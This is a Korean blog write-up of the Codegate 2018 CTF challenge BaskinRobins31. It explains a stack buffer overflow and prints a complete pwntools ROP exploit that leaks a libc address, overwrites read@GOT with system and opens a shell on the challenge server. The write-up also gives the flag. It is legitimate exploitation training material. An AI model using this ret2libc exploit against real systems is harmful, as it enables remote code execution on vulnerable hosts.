[Codegate 2018] BaskinRobins31
-Jubil(|BAOBOB|)
64bit 바이너리이고, canary가 없습니다.
main 함수입니다. 일단 소켓이 아니기 때문에 socket descriptor가 아닌 stdin과 stdout으로 입출력을 해줍시다.
밑에 Hint는 ROP라고 나옵니다.
그리고 베라 게임 이기려고 하면 규칙을 어기고 숫자를 4개씩 불러버립니다.
하지만 신경 쓰지 말고 저희가 입력할 수 있는 함수, your_turn을 분석하겠습니다.
그냥 read에서 BOF가 터집니다.
쉽게 취약점을 구했으니 ex 코드를 짜러 갑시다.
일단 0xb0(176)에 SFP(8)을 고려하면 return address는 184byte 뒤에 있을 것입니다.
64bit 리눅스에서는
RDI : 첫번째 인자
RSI : 두번째 인자
RDX : 세번째 인자
RCX : 네번째 인자
R8 : 다섯번째 인자
R9 : 여섯번째 인자
이렇게 6개의 레지스터를 사용하고 인자가 7개 이상일 경우부터는 스택을 같이 사용합니다.
그래서 보면 system 함수는 바이너리에 없고, read와 write, puts를 사용해서 libc_base를 구하고, read_got를 system으로 바꿔서 쉘을 실행하겠습니다.
그럼 가젯이 필요한데요, read와 write는 인자가 3개이므로 pop rdi ; pop rsi ; pop rdx ; ret이
puts는 pop rdi ; ret이 필요합니다.
rp++로 분석해보면 찾던 두 개의 가젯이 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
from pwn import *
#s = remote('localhost', 3131) s = remote("ch41l3ng3s.codegate.kr", 3131) e = ELF('./BaskinRobins31')
puts_plt = e.plt['puts'] read_plt = e.plt['read'] read_got = e.got['read'] write_plt = e.plt['write']
cmd = '/bin/sh'
offset_read = 0xf7250 offset_system = 0x45390
prdir = 0x00400bc3 prdirsirdxr = 0x0040087a
#176+8 payload = "" payload += 'A'*184
#Output read got payload += p64(prdir) payload += p64(read_got) payload += p64(puts_plt)
#Input /bin/sh payload += p64(prdirsirdxr) payload += p64(0) payload += p64(e.bss()) payload += p64(len(cmd)) payload += p64(read_plt)
#Input system -> read got payload += p64(prdirsirdxr) payload += p64(0) payload += p64(read_got) payload += p64(8) payload += p64(read_plt)
#Call read_plt(system) payload += p64(prdir) payload += p64(e.bss()) payload += p64(read_plt) print len(payload)
s.sendlineafter('(1-3)\n', payload) s.recvuntil(':( \n') sleep(0.1)
read_add = u64(s.recv(6) + '\x00\x00') libc_base = read_add - offset_read system_add = libc_base + offset_system
print "[+] read_add : " + hex(read_add) print "[+] libc_base : " + hex(libc_base) print "[+] system_add : " + hex(system_add)
sleep(0.1) s.send(cmd) sleep(0.1) s.send(p64(system_add))
s.interactive() |
64bit ROP는 처음이라 고생 좀 했습니다.
쉘을 취득하고 flag도 받아왔습니다.
flag : The Korean name of "Puss in boots" is "My mom is an alien"
'System&Write up > CTF' 카테고리의 다른 글
[TAMUctf 2018] pwn1 ~ pwn5 (0) | 2018.02.27 |
---|---|
[OpenCTF 2016] tyro_heap (0) | 2018.02.22 |
[Codegate 2014] nuclear (0) | 2018.01.31 |
[HDCON 2013] luckyzzang (0) | 2018.01.30 |
[Codegate 2014] angry_doraemon (0) | 2018.01.30 |